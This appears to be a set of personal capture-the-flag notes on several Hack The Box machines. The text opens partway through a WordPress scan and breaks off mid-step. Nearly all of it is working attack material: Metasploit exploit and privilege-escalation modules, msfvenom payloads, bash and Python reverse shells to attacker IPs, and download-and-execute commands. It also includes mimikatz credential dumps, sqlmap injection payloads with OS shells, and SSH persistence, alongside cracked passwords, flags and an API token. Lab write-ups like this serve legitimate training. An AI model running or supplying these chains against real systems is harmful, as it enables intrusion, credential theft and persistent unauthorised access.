| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10202
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47635/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10203
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47633/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block
| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10204
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47636/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh
|
| [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10205
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47637/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10206
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47638/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] mesmerize-companion
| Location: http://10.10.10.29/wordpress/wp-content/plugins/mesmerize-companion/
| Latest Version: 1.6.111
| Last Updated: 2020-04-10T15:01:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| The version could not be determined.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:04 <==============================================================================> (21 / 21) 100.00% Time: 00:00:04
[i] No Config Backups Found.
[+] WPVulnDB API OK
| Plan: free
| Requests Done (during the scan): 2
| Requests Remaining: 48
[+] Finished: Mon May 4 17:38:40 2020
[+] Requests Done: 27
[+] Cached Requests: 36
[+] Data Sent: 6.36 KB
[+] Data Received: 18.56 KB
[+] Memory used: 175.391 MB
[+] Elapsed time: 00:00:15
```
* Enumerate Users: `wpscan --url 10.10.10.29/wordpress/ --enumerate u`
```
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:30 <=============================================================================> (10 / 10) 100.00% Time: 00:00:30
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://10.10.10.29/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
```
* Bruteforce login: `wpscan --url 10.10.10.29/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames admin --max-threads 50 --api-token 4emjktvbV4Csl9u9IVTpH5uWcnXvgwJZfWSCSlu0s3g`
* Login found to be `admin:P@s5w0rd!` from last box. Go to `http://10.10.10.29/wordpress/wp-login.php` and login.
* Searching for `metasploit wordpress` yields
4. Exploit
```
sudo msfconsole
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set PASSWORD P@s5w0rd!
msf > set USERNAME admin
msf > set TARGETURI /wordpress
msf > set RHOSTS 10.10.10.29
msf > set LPORT 443
msf > set payload php/meterpreter_reverse_tcp
msf > exploit
```
* Upgrade to more stable shell:
```
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
untar netcat-win32-1.12.zip
msf > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
sudo python3 -m http.server 80
msf > shell
> iwr -outf nc.exe http://10.10.14.173/nc.exe
nc -lvp 1234
msf > execute -f nc.exe -a "-e cmd.exe 10.10.14.173 1234"
```
* 2nd way to upgrade (much better):
1. Change paylaod to download and execute
```
set payload php/download_exec
msf > set url http://10.10.14.173/shell.exe
```
2. Create exploit: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.173 LPORT=443 -f exe > shell.exe`
3. Run server: `sudo python3 -m http.server 80`
4. Open up port to listen on:
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
options
set LHOST 10.10.15.117
set LPORT 443
run
```
Sysinfo:
```
sysinfo
Computer : SHIELD
OS : Windows NT SHIELD 10.0 build 14393 (Windows Server 2016) i586
Meterpreter : php/windows
```
5. Privilege Escalation ([Great Tutorial for Windows](https://github.com/frizb/Windows-Privilege-Escalation))
* Find exploit:
* Method 1: Priv esc suggester
```
search suggester
use 0
options
set session 1
run
```
Result:
```
0.29 - Collecting local exploits for x86/windows...
[*] 10.10.10.29 - 30 exploit checks are being tried...
[+] 10.10.10.29 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[*] Post module execution completed
```
Result: I tried `ms16_032_secondary_logon_handle_privesc` with `x64` meterpreter after changing to `x64` shell from `32 bit` but did not work.
* Method 2: Search for `windows server 2016 privilege escalation exploit` yields which points to [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato)
* Method 3: More automated searchers. \*\*[`sherlock`](https://github.com/rasta-mouse/Sherlock) by `rastamouse`
```
sudo python3 -m http.server 80
msf shell > certutil -urlcache -f http://10.10.15.117/sher.ps1 sher.ps1
msf shell > powershell.exe -exec bypass -Command "& {Import-Module .\sher.ps1; Find-AllVulns}"
```
Output:
```
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
6-034?
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
ample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
tml
VulnStatus : Not Vulnerable
```
Result: Not vulnerable
Trying [pentestmonkey/windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check):
```
wget https://github.com/pentestmonkey/windows-privesc-check/raw/master/windows-privesc-check2.exe
sudo python3 -m http.server 80
msf shell > certutil -urlcache -f http://10.10.15.117/windows-privesc-check2.exe ex.exe
msf shell > ex.exe --audit -a -o report -v
```
Trying [411Hall/JAWS](https://github.com/411Hall/JAWS):
```
wget https://github.com/411Hall/JAWS/raw/master/jaws-enum.ps1
sudo python3 -m http.server 80
msf shell > certutil -urlcache -f http://10.10.15.117/jaws-enum.ps1 jaws.ps1
msf shell > powershell.exe -ExecutionPolicy Bypass -File .\jaws.ps1
msf shell > execute -f powershell.exe -a "-ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt"
```
* "Juicy Potato is a variant of the exploit that allows service accounts on Windows to escalate to SYSTEM (highest privileges) by leveraging the BITS and the `SeAssignPrimaryToken` or `SeImpersonate` privilege in a MiTM attack."
* CLSID List:
* Manual Escalation
```
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
sudo python3 -m http.server 80
msf > shell
msf > powershell
msf > iwr -outf js.exe http://10.10.14.173/JuicyPotato.exe
```
```
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.173 1111 > shell.bat
js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337 -c {FFE1E5FE-F1F0-48C8-953E-72BA272F2744}
```
* Automatic Escalation
```
msf > background
msf > search ms16_075
msf > use exploit/windows/local/ms16_075_reflection_juicy
msf > set payload windows/meterpreter/reverse_tcp
msf > set session 1
msf > set lhost 10.10.14.173
msf > set dcom_port 1337
msf > set CLSID {FFE1E5FE-F1F0-48C8-953E-72BA272F2744}
msf > set lport 8464
msf > run
```
Result: `Server username: NT AUTHORITY\SYSTEM`
```
cd C:\Users\Administrator\Desktop
cat root.txt
```
**Root Flag:** `6e9a9fdc6f64e410a68b847bb4b404fa`
6. Post Exploitation
* Convert to x64 shell:
```
use post/windows/manage/archmigrate
set session 2
set IGNORE_SYSTEM true
```
* Get passwords
```
load kiwi
meterpreter > kiwi_cmd sekurlsa::logonpasswords
```
Output:
```
Authentication Id : 0 ; 298603 (00000000:00048e6b)
Session : Interactive from 1
User Name : sandra
Domain : MEGACORP
Logon Server : PATHFINDER
Logon Time : 5/4/2020 10:20:27 PM
SID : S-1-5-21-1035856440-4137329016-3276773158-1105
msv :
[00000003] Primary
* Username : sandra
* Domain : MEGACORP
* NTLM : 29ab86c5c4d2aab957763e5c1720486d
* SHA1 : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
* DPAPI : f4c73b3f07c4f309ebf086644254bcbc
tspkg :
wdigest :
* Username : sandra
* Domain : MEGACORP
* Password : (null)
kerberos :
* Username : sandra
* Domain : MEGACORP.LOCAL
* Password : Password1234!
ssp :
credman :
Authentication Id : 0 ; 183955 (00000000:0002ce93)
Session : Service from 0
User Name : DefaultAppPool
Domain : IIS APPPOOL
Logon Server : (null)
Logon Time : 5/4/2020 10:19:24 PM
SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
msv :
[00000003] Primary
* Username : SHIELD$
* Domain : MEGACORP
* NTLM : 9d4feee71a4f411bf92a86b523d64437
* SHA1 : 0ee4dc73f1c40da71a60894eff504cc732de82da
tspkg :
wdigest :
* Username : SHIELD$
* Domain : MEGACORP
* Password : (null)
kerberos :
* Username : SHIELD$
* Domain : MEGACORP.LOCAL
* Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8 hash
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
```
Output:
```
kali@kali:~$ sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963 (backup.zip)
1 1g 0:00:00:00 DONE (2020-05-04 13:38) 33.33g/s 8533p/s 8533c/s 8533C/s football1..simpleplan
Waiting for 3 children to terminate
2 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5121Kp/s 5121Kc/s 5121KC/s derrickak47.abygurl69
3 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5049Kp/s 5049Kc/s 5049KC/s brian89.a6_123
4 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5272Kp/s 5272Kc/s 5272KC/s mar ..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
**ZIP Password:** `741852963`
* Extracting it's contents using the password reveals a PHP file and a CSS file. `index.php` contains:
```
```
Result: The input password is hashed and compared to the MD5 hash: `2cb42f8734ea607eefed3b70af13bbd3`.
* This hash can be easily cracked using an online rainbow table such as [crackstation](https://crackstation.net/). Result: password is `qwerty789`
5. Foothold
* Browsing to port 80, we can see a login page for MegaCorp. The credentials `admin:qwerty789` can be used to login. 
* Search parameter in URL: `http://10.10.10.46/dashboard.php?search=a`
* Get PHP Session ID: `PHPSESSID:"lkktfc22hu9uer2mlo36ngk6db"` 
* Scan for SQL injection with metasploit
```
sudo msfconsole
use auxiliary/scanner/http/blind_sql_query
set rhosts 10.10.10.46
set cookie PHPSESSID=lkktfc22hu9uer2mlo36ngk6db
set path dashboard.php
set query search=
```
Result: System is vulnerable
* SQL injection scan with `sqlmap`:
```
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=lkktfc22hu9uer2mlo36ngk6db"
```
Output:
```
___
__H__
___ ___[,]_____ ___ ___ {1.4.4#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:40:35 /2020-05-04/
[14:40:36] [INFO] testing connection to the target URL
[14:40:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:40:37] [INFO] testing if the target URL content is stable
[14:40:37] [INFO] target URL content is stable
[14:40:37] [INFO] testing if GET parameter 'search' is dynamic
[14:40:37] [INFO] GET parameter 'search' appears to be dynamic
[14:40:38] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[14:40:38] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[14:40:38] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] y
[14:40:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:40:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:40:58] [INFO] testing 'Generic inline queries'
[14:40:58] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[14:40:59] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable (with --string="SUV")
[14:40:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:40:59] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[14:40:59] [INFO] testing 'PostgreSQL inline queries'
[14:40:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:40:59] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)
[14:41:11] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[14:41:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:41:22] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[14:41:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=a' AND (SELECT (CASE WHEN (6618=6618) THEN NULL ELSE CAST((CHR(72)||CHR(84)||CHR(90)||CHR(68)) AS NUMERIC) END)) IS NULL-- HbYa
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=a' AND 9347=CAST((CHR(113)||CHR(120)||CHR(98)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9347=9347) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)-- pilT
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=a';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=a' AND 2680=(SELECT 2680 FROM PG_SLEEP(5))-- vQzW
---
[14:41:29] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[14:41:30] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/10.10.10.46'
[*] ending @ 14:41:30 /2020-05-04/
```
Sqlmap found the page to be vulnerable to multiple injections, and identified the backend DBMS to be PostgreSQL. Getting code execution in postgres is trivial using the `--os-shell` command.
* Exploit: `sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell` --os-pwn Result: Failed forever
* Exploit 2: `sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell --safe-url http://google.com --keep-alive --dbms PostgreSQL --safe-freq 3` Result: Popped a shell
* Let's upgrade to a tty shell and continue enumeration: `SHELL=/bin/bash script -q /dev/null`
* Form reverse meterpreter
```
sudo msfconsole
use exploit/multi/handler
set lhost 10.10.15.117
set lport 46152
set payload linux/x86/shell/reverse_tcp
run
```
* Bash reverse shell
```
bash -c 'bash -i >& /dev/tcp/10.10.15.117/46152 0>&1'
```
6. Privilege Escalation
1. Looking at the source code of dashboard.php in /var/www/html reveals the postgres password to be: P\@s5w0rd!.
2. Looking at the source code of dashboard.php in `/var/www/html` reveals the postgres password to be: `P@s5w0rd!`.
```
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
```
3. Run `SHELL=/bin/bash script -q /dev/null` again or try `python3 -c 'import pty; pty.spawn("/bin/bash")'`
4. This password can be used to view the user's sudo privileges: `sudo -l`:
```
sudo -l
[sudo] password for postgres: P@s5w0rd!
Matching Defaults entries for postgres on vaccine:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```
5. User is allowed to edit a file using vi as root, which can spawn a root shell: `sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf`. Press escape to enter normal mode then type `:` to enter command-line mode and enter `!/bin/bash` to get root shell
6. Get more stable shell
* Form reverse meterpreter
```
sudo msfconsole
use exploit/multi/handler
set lhost 10.10.15.117
set lport 7845
set payload linux/x86/shell/reverse_tcp
run
```
* Bash reverse shell
```
bash -c 'bash -i >& /dev/tcp/10.10.15.117/7845 0>&1'
```
7. Upgrade to meterpreter
```
use post/multi/manage/shell_to_meterpreter
set session 1
run
```
8. Allow access in at any time with SSH
```
use post/linux/manage/sshkey_persistence
set session 2
run
```
And then in normal attacker prompt:
```
sudo chmod 400 /root/.msf4/loot/20200506014922_default_10.10.10.46_id_rsa_956218.txt
sudo ssh -o "IdentitiesOnly=yes" -i /root/.msf4/loot/20200506014922_default_10.10.10.46_id_rsa_956218.txt root@10.10.10.46
```
9. Get Flag
```
root@vaccine:~# cat root.txt
dd6e058e814260bc70e9bbdef2715849
```
# Bashed
HTB 8. Bashed
1. `nmap -A -T4 -p- 10.10.10.68` shows port 80 with `Apache httpd 2.4.18 (Ubuntu)`.
2. `searchsploit apache 2.4` reveals local `apache_ctl` exploit.
3. Going to website `10.10.10.68` and looking at content shows that `10.10.10.68/uploads`. exists.
4. `dirbuster` time with medium wordlist which reveals several folders.
5. View source code of pages shows nothing.
6. `dirbuster` found `dev/phpbash.php`.
7. Go to `10.10.10.68` and launch `phpbash.php` which launches web terminal.
8. `whoami` is `www-data` so lets get the user flag. `cat /home/arrexel/user.txt`.
9. test `sudo -l` and `history` which shows we can become `scriptmanager` user without password.
10. Can't change to `scriptmanager` because we are in a wbeshell without a tty.
11. `cd /var/www/html/uploads/` and upload payload.
12. Lets try [`php-reverse-shell`](http://pentestmonkey.net/tools/web-shells/php-reverse-shell) from pentestmonkey instead of metasploit. Download and extract.
13. Edit the `$ip` and `$port` to our ip and port `1234`.
14. Start web server `python -m SimpleHTTPServer 80` and run `wet http://10.10.14.21/rev.php` on the target.
15. Start netcat `nc -nvlp 1234`
16. Go to `10.10.10.68/uploads/rev.php` to execute and connect.
17. Still can't access tty so serach for `tty escape` and go to to [Spawning a TTY Shell](https://netsec.ws/?p=337).
18. Just go down the list and try the options. Try `python -c 'import pty; pty.spawn("/bin/bash")'` and no we are in `bash`.
19. `sudo su scriptmanager` does not work so lets try running a command as the user `sudo -u scriptmanager /bin/bash`.
20. `whoami` is `scripmanager` and `history` is none.
21. `ls -la /` shows `scriptmanager` owns `/scripts`.
22. `cd scripts` and `ls -la` shows `test.py` and `test.txt`.
23. The time modified for the `test.txt` changes every minute so a cronjob is running the `test.py` evvery minute as root. Lets change the `test.py` so it performs malicious actions.
24. Search for `python reverse shell` and use the [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).
25. Use `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);` (`-i` is interactive mode) and download to target.
26. Start listening `nc -nvlp 2345` and wait for shell.
Someone exploited with `CVE-2017-16995` found after running the `linux-exploit-suggester`.
# Blue
HTB - 3. Blue (MS17.010)
1. `nmap -T4 -p- -A 10.10.10.40` shows 139 & 445 (smb) open, version Windows 7 Professional 7601 Service Pack 1, computer name is haris-PC, message signing enabled by not required,
2. Metaploit Test if vulnerable
```
sudo msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
options
set rhosts 10.10.10.40
run
```
Result: Host is likely vulnerable
Exploit:
```
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.40
show targets
run
```
Result: shell popped with `nt authoirty/system`
Used an un-staged payload, so lets try staged and get a meterpreter
```
set payload windows/x64/meterpreter/reverse_tcp
options
run
getuid
sysinfo
hashdump
shell
route print
arp -a
netstat -ano
load kiwi
help
creds_all
lsa_dump_sam
lsa_dump_secrets
load incognito
list_tokens -u
```
3. Autoblue:
```
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010
ls
python eternalblue_checker.py 10.10.10.40
```
Result: Target not patched
Exploit:
```
cd shellcode
sudo ./shell_prep.sh
y
10.10.14.24
4445
4446
0 <-- Meterpreter instead of shell
0 <-- Staged instead of un-staged
cd ..
ls
sudo ./listener_prep.sh
10.10.14.24
4445
4446
0
0
python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin
sessions
sessions 1
getuid
whoami
sysinfo
```
# Devel
HTB - 4. Devel
1. `nmap -T4 -p- -A 10.10.10.5` shows 22 (FTP) with anonymous login (to webroot directory?), 80 (HTTP) with Microsoft IIS httpd 7.5
2. Go to `10.10.10.5` which is a default web page
3. `dirbuster` (`dirb` and `gobuster` popular as well) with `http://10.10.10.5:80`, wordlist `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`, and change file-extension to `asm, asmx, asp, aspx, txt` because server is IIS
4. FTP: upload file to server
```
ftp 10.10.10.5
anonymous
anonymous
ls
pwd
put dog.jpg
ls
```
Go to `10.10.10.5/dog.jpg` and it executes.
5. `msfvenom`
* [msfvenom cheatsheet 1](https://netsec.ws/?p=331)
* [msfvenom cheatsheet 2](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/)
Create `reverse_tcp` payload:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f aspx > ex.aspx
```
Open up port to listen on:
```
sudo msfconsole
use exploit/multi/handler
options
set payload windows/meterpreter/reverse_tcp
options
set LHOST 10.10.14.24
run
```
6. Back to FTP
```
binary <-- swith to binary instead of ascii
put ex.aspx
```
Go to `10.10.10.5/ex.aspx` and shell popped
7. Hacked
```
sysinfo
getuid
```
Result: We are `IIS APPPOOL\Web` not authority system. `getsystem` failed.
Check to see which privilege escalation exploits might work:
```
background
search suggester
use post/multi/recon/local_exploit_suggester
options
set SESSION 1
run
```
Run privilege escalation
```
use exploit/windows/local/ms10_015_kitrap0d
options
set SESSION 1
options
run
options
set lhost 10.10.14.24 <-- make sure using the right interface
set lport 4445 <-- Need to use different port since 4445 already in use
options
run
```
Result: Shell popped with authority system
# Grandpa
HTB 9. Grandpa
1. `nmap -T4 -A -p- 10.10.10.14` shows 80 open with version `Microsoft IIS httpd 6.0` (dated version) and poentially risky methods (`TRACE` and \`PUT)
2. Go to `10.10.10.14` shows "Under Construction" page.
3. Google `Microsoft IIS httpd 6.0 exploit` finds [Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow](https://www.exploit-db.com/exploits/41738) and [Rapid7](https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl).
4. `searchsploit ScStoragePathFromUrl` shows python and ruby modules.
5. Metasploit
```
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhost 10.10.10.14
set lport 5555
show targets
run
```
Try running again (4 times)
6. We are not system. `ps` to show processes. Pick a process that has `NT AUTHORITY\NETWORK SERVICE` with `migrate 1788` and success.
7. Priv esc suggester:
```
search suggester
use 0
options
set session 1
run
```
Result: 9 options, go down list and try to see what works
8. start with `ms10_015_kitrap0d` and `set lhost tun0`
9. `getuid` is `NT AUTHORITY\SYSTEM`.
# Jerry
HTB - 5. Jerry (Default Credentials)
1. `nmap -T4 -p- -A 10.10.10.95` shows 8080 open with Apache Tomcat/Coyote JSP engine 1.1 and Tomcat version 7.0.88
2. Go to `10.10.10.95` and shwos Apache Tomcat default page
3. Search `tomcat default credentials` and found
4. Burp Suite
1. Click server management page
2. Try login with `tomcat:tomcat`
3. Send to decoder
4. Select authorization basic and decode as base64
5. Forwarded and did not work
6. Try again and sent to repeater and intruder
5. Create passwords
1. Get from [the url](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) and replace " " with ":".
2. Write bash script to base64 encode all the credentials
```
for cred in $(cat tomcat.txt); do echo -n $cred | base64; done
```
6. Back to Burp Suite Intruder
1. Set to sniper attack
2. Select the authorization basic
3. Paste in list of base64 encoded usernames and passwords into Payloads/Payload Options
4. Disable URL encoder
5. Run and see much longer length code 200 for the successful credientials: `tomcat:s3cret`
7. Create WAR file exploit
1. Search `tomcat war reverse shell msfvenom`:
2. `msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f war > shell.war` which will try to connect to our computer on port 4444
3. `nc -nvlp 4444` to listen on port 4444
4. Upload to tomcat managment server and deploy
5. Go to `/shell` and got `nt authoirty/system`
```
whoami
cd c:\users\administrator
cd Desktop
cd flags
dir
arp -a
```
8. New reverse shell Create payload:
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=5555 -f exe > sh.exe
```
Listen on port 5555:
```
sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
options
set LHOST 10.10.14.24
set LPORT 5555
run
```
Transfer file to windows:
```
python -m SimpleHTTPServer 80 <-- start server on attacker
